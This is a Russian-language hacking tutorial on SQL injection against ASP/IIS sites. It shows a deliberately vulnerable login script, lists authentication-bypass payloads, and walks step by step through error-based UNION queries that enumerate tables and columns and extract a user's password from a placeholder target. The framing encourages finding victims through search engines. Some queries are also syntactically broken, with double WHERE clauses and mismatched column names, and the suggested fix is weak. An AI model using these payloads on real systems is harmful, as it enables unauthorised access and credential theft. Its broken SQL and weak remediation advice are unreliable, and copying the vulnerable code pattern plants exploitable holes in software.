========================
SQL Injection Tutorial
Перевод: Winux
Автор: Неизвестен
http://damagelab.org
=======================


Обычно, когда вебмастер делает авторизационную страницу на сайте, он делает проверку введенных данных при помощи передачи данных запросом на .asp - скрипт. Все это будет выглядеть примерно так:

login.htm

Код|Code

<html>
<body>
<form method=get action="logincheck.asp">
<input type="text" name="login_name">
<input type="text" name="pass">
<input type="submit" value="sign in">
</form>
</body>
</html>


logincheck.asp

Код|Code

<@language="vbscript">
<%
dim conn,rs,log,pwd
log=Request.form("login_name")
pwd=Request.form("pass")

set conn = Server.CreateObject("ADODB.Connection")
conn.ConnectionString="provider=microsoft.jet.OLED B.4.0;data source=c:\folder\multiplex.mdb"
conn.Open
set rs = Server.CreateObject("ADODB.Recordset")
rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn
If rs.EOF
response.write("Login failed")
else
response.write("Login successful")
End if
%>


А теперь взглянем на скрипты, приведенные выше. Пользователь заходит на login.htm, вводит необходимые параметры и жмет соответствующую кнопку. Далее все данные из полей с login.htm передаются на logincheck.asp, где парсятся, а затем проверяются при помощи query string. Далее, если введеные данные не совпадают с необходимыми для входа - выводится сообщение об ошибке. Ну а если все введено правильно, то.....нет, взгляните на скрипты внимательнее. Если вы сделаете у себя на сайте подобную авторизацию, то любой хакер может зайти на сайт, не зная никакого пароля. Как? Давайте снова взглянем на querry string.

"Select * from table1 where login='"&log& "' and password='" &pwd& "' "


Теперь если пользователь введет имя пользователя "Target-ID" и пароль "KillIt", то эти значения передадутся в asp фаил, после чего выполнится SQL запрос:

"Select * from table1 where login=' Target-ID ' and password=' KillIt ' "

Так, гламурно. Если запись с таким ником и паролем есть в базе данных, то мы нормально войдем.
А теперь представим, если я в качестве имени пользователя использую "Target-ID", а в качестве пароля что-нибудь типа hi' or 'a'='a
В таком случае запрос будет выглядеть так:

"Select * from table1 where login=' Target-ID ' and password='hi' or 'a'='a' "

Жмем сабмит и....мы зашли в систему. Подобная уязвимость весьма распространена.
Это достигнуто путем удовлетворения условия. Просто у нас получается двойное условие: либо password='hi' либо 'a'='a ', a a всегда равна сама себе, так что условие в любом случае будет выполнено, и мы зайдем под юзером Target-ID. Если не сработает эта комбинация пароля, можно попробовать другие, например:
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
+ много много других вариантов.

Немного про взлом баз данных с использованием ODBC ошибок

Только что мы стали свидетелями входа в систему, не зная пароля. А сейчас я продемонстрирую, как считать всю SQL базу, используя SQL запросы. Однако это работает только с IIS i.e asp страницами. Нам известно, что IIS используется более чем в 35% интернет-проектов. Следовательно, весьма просто найти жертву при помощи поисковика. Нам необходимо найти в адресах страниц что-либо типа

_http://www.Target-Host.com/mypage.asp?id=45

'?' означает, что значение 45 передается в базу данных, для считывания оттуда информации. Значение передается на logincheck.asp точно так же, как и в предидущем примере. Пример:

_http://www.target-host.com/logincheck.asp?login_name=Target-ID&pass=Killit

method="get" используется вместо method="post".

Обратите внимание на <form method=post> или <form method="get">. Различия между методами заключается в том, что post метод не показывает в строке адреса значения, которые передаются скрипту. Все подробности про эти 2 метода можно прочитать в мане "HTTP protocol RFC 1945 and RFC 2616".
Я хотел сказать, что переменным после '?' присваиваются значения. В примере, переменной login_name присваивается значение Target-ID. Разные переменные разделяются друг между другом при помощи символа '&'.

ладно, вернемся к теме. id будет меняться по мере передвижения по ссылкам на сайте. id передает запрос в mypage.asp и в зависимости от переданного значения, возвращает разные результаты. Для примера, сменим 45 из строки адреса на 46 и мы получим совершенно другую страницу.
Ну чтож, начнем взлом базы данных. Попробуем использовать кавычки. Просто наберите в строке ввода адреса:

_http://www.Target-Host.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

INFORMATION_SCHEMA.TABLES это системная табличка, в которой хранится информация обо всех табличках на серваке. Ну а колонка TABLE_NAME содержит имена табличек. Посмотрим на запрос снова:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

Ответом на запрос должно оказаться имя первой таблички из INFORMATION_SCHEMA.TABLES. Этим запросом мы объединили целочисленное значение 45 из стандартного запроса со строковым запросом, при помощи оператора UNION. Таким образом, мы увидим следующую ошибку.

Цитата|Quote
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'logintable' to a column of data type int. /mypage.asp, line


Из ошибки видно, что существует табличка 'logintable'. Наверно, в ней и хранятся имена пользователей и пароли :-). Чтож, взглянем в ее содержимое. Набираем в строку адреса:

_http://www.Target-Host.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'--

Получаем ошибку:

Цитата|Quote
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'login_id' to a column of data type int.
/index.asp, line 5


Из ошибки видно, что первая колонка в нашей табличке - login_id. Для получения имени следующей колонки набираем:

_http://www.Target-Host.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')--

Получаем:
Цитата|Quote
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'login_name' to a column of data type int.
/index.asp, line 5


Получили следующее имя колонки: 'login_name'. Теперь достаем третье:

_http://www.Target-Host.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')--

Результат:
Цитата|Quote
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'passwd' to a column of data type int.
/index.asp, line 5

Вот, наконец, и колонка 'passwd'. Теперь извлечем все логины и пароли из таблички "logintable". Набираем:

_http://www.Target-Host.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name FROM logintable--

Получаем:
Цитата|Quote
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'Bob' to a column of data type int.
/index.asp, line 5

Вот и получили логин для первого пользователя: "Bob". Теперь получим его пароль:

_http://www.Target-Host.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable where login_name='Bob'--

Получаем:
Цитата|Quote
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value 'password' to a column of data type int.
/index.asp, line 5


Вуаля! Логин: Bob, пароль: password. Мы поимели базу данных Target-Host.com. Это все стало возможным благодаря недостаточной фильтрации входных данных для переменной id. Такие баги все еще присутствуют на куче сайтов. Наиболее хороший и правильный способ исправить положение - парсить в переменных такие символы как ',",--,:, и другие.
>